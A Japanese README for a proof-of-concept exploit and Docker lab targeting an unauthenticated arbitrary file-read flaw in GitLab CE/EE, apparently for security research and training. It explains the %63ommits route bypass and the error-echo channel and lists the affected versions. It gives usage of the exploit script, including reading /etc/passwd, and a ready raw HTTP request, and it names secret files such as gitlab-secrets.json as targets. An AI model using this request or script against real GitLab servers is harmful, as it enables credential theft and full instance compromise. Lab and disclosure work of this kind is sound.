
CVE-2026-85706 の PoC および Docker ラボ。GitLab CE/EE における commits API ルートバイパスと urlencoded エラーチャネルを悪用した、認証不要の任意ファイル読み取り脆弱性です。
★ CVE-2026-85706 GitLab 未認証の任意ファイル読み取り PoC ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 は GitLab CE/EE における 未認証の任意ファイル読み取り (CVSS 10.0、CISA KEV) であり、
POST /api/v4/projects/:id/repository/commitsを介して悪用されます。このエンドポイントの body-upload ヘルパーはauthenticate!より前 に実行され、params['file.path']を絶対パスとして制限なく読み取ります。commitsの 1 文字を URL エンコードして%63ommitsとすると、GitLab-Workhorse はこのルートを見逃し (file.pathを上書きしなくなる)、一方で Rails は%63 → cをデコードしてハンドラにルーティングするため、攻撃者はクエリ文字列経由でfile.pathを設定できます。Content-Type=application/x-www-form-urlencodedの場合、ヘルパーはファイル内容を再パースし、2 桁の 16 進数が続かない%はその内容を400レスポンスボディに反映します (そのような文字を含まないファイルでは401の読み取りオラクルのみ)。少なくとも 1 つの公開プロジェクトが必要です。
| カテゴリ | バージョン |
|---|---|
| 脆弱 | GitLab CE/EE 18.7 – 19.1.7、19.2.0 – 19.2.5、19.3.0 – 19.3.1 |
| 修正済み | 19.1.8 / 19.2.6 / 19.3.2 以降 (2026-09-10) |
% を含む内容のファイル (アプリケーションログ、URL エンコードされた値を埋め込んだ設定/認証情報など) の漏洩 → 偵察 + 認証情報窃取 → 認証済みアクセスへの連鎖 / インスタンス全体の侵害gitlab-secrets.json、database.yml) に到達します。ただし、純粋に hex/base64 のみのファイルは公開された % 反射チャネルを通じて存在オラクルのみを返すことに注意してください (エコーを引き起こす無効な % バイトが存在しないため)authenticate! が追加されるため、未認証リクエストはファイル読み取りシンクの前に拒否されます脆弱な GitLab CE をビルドして実行します。起動時に、シーダーが /flag.txt (末尾に % のリークトリガー付き) を配置し、公開プロジェクト victim/public-app (プロジェクト id 1) を作成するため、commits API に未認証で到達できます。初回起動には約 2~3 分かかります。
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
フラグはプレースホルダー (EQST{gitlab_cve_2026_85706_arbitrary_file_read}) です。イメージを編集せずに実行時に独自の値を設定できます: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706。
| 前提条件 | このラボでの状態 |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| 少なくとも 1 つの公開プロジェクト (匿名で commits API に到達可能) | victim/public-app (id 1)、自動作成 |
/api/v4/projects/:id/repository/commits に未認証で到達可能 | 公開済み |
| サーバーファイルシステム上のフラグ | /flag.txt (末尾 % 反射トリガー) |
エクスプロイト gitlab_exploit.py は、%63ommits による Workhorse ルートバイパスと urlencoded 再パースエラーチャネルを使用して、単一の 未認証 リクエストでサーバー上のファイルを読み取ります。読み取るファイルは --read で指定します (デフォルトは /flag.txt)。
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
オプション:
--read "<abs path>" — 読み取る絶対ファイルパス (デフォルト /flag.txt)--project <id> — 未認証で到達可能な公開プロジェクト id (デフォルト 1)--check — ファイル読み取りシンクに到達可能かどうかのみを確認 (local file not present を期待)生のリクエスト (Burp Repeater 用):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
*/repository/commits* および */repository/files* への POST/PUT をブロックし、インスタンスを SSO / VPN / IP 許可リストの背後に配置する